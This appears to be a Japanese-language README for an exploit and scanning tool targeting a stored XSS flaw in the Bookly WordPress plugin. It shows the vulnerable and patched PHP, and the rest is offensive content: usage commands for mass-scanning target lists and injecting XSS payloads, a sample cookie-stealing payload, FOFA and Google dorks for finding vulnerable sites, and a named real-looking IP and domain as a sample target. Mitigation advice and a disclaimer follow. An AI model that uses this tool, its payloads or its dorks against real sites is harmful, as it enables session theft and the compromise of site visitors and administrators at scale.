
CVE-2026-5513: Bookly <= 27.2 Cookie 経由の Stored XSS(未認証)
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-5513 |
| 脆弱性 | 格納型クロスサイトスクリプティング(XSS) |
| プラグイン | Bookly — オンライン予約・スケジュール管理システム |
| 影響を受けるバージョン | ≤ 27.2 |
| 修正済みバージョン | 27.3+ |
| CVSS 3.1 | 7.2(高) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| 認証要件 | 不要 |
| 前提条件 | 「Remember personal information in cookies」が有効であること(デフォルトでは無効) |
WordPress用プラグインBooklyは、バージョン27.2以前において、入力サニタイズおよび出力エスケープが不十分なため、bookly-customer-full-name Cookieを介した格納型クロスサイトスクリプティングの影響を受けます。
「Remember personal information in cookies」設定が有効な場合、プラグインは bookly-customer-full-name Cookieの値を読み取り、適切なエスケープを行わずに予約フォームのHTMLに直接出力します。認証されていない攻撃者は、このCookieを介して任意のJavaScriptペイロードを注入でき、Bookly予約フォームを含むページをすべてのユーザー(管理者を含む)が訪問するたびに実行されます。
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
✓ WordPress & Bookly plugin detection with version check
✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
✓ Payload injection with reflection verification
✓ Single target or mass scan from file
✓ Multi-threaded scanning (up to 20 threads)
✓ Proxy support (Burp, etc.)
✓ Auto-save vulnerable results
✓ Interactive menu + CLI modes
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
このツールは、-u またはターゲット一覧ファイルで以下のいずれかの形式を受け付けます:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
ベアIPの場合、ツールは自動的に以下を実行します:
167.99.0.203 → https://book.repairrite.com)/wp/、/blog/、/wordpress/ など)STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| 優先度 | 対応 |
|---|---|
| 🔴 | Booklyをバージョン27.3以上に更新する |
| 🟡 | Booklyの「設定 → 一般」で「Remember personal information in cookies」を無効化する |
| 🟢 | Cookie値のXSSをフィルタリングするWAFルールを導入する |
| 🟢 | Content-Security-Policy(CSP)ヘッダーを実装する |
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。 コンピュータシステムへの不正アクセスは違法です。テストを実施する前に必ず適切な許可を取得してください。 著者は、このツールの誤用について一切責任を負いません。
MIT
| フラグ | 説明 |
|---|
-u URL | 単一ターゲット(URL、ドメイン、またはIP) |
-l FILE | ターゲット一覧ファイル(1行に1ターゲット) |
--inject | XSSペイロードを注入(デフォルト: チェックのみ) |
--payload STR | カスタムXSSペイロード |
-t N | スレッド数(デフォルト: 10、最大: 20) |
--proxy URL | HTTPプロキシ(例: http://127.0.0.1:8080) |
-o FILE | 結果をファイルに保存 |
-v | 詳細な出力 |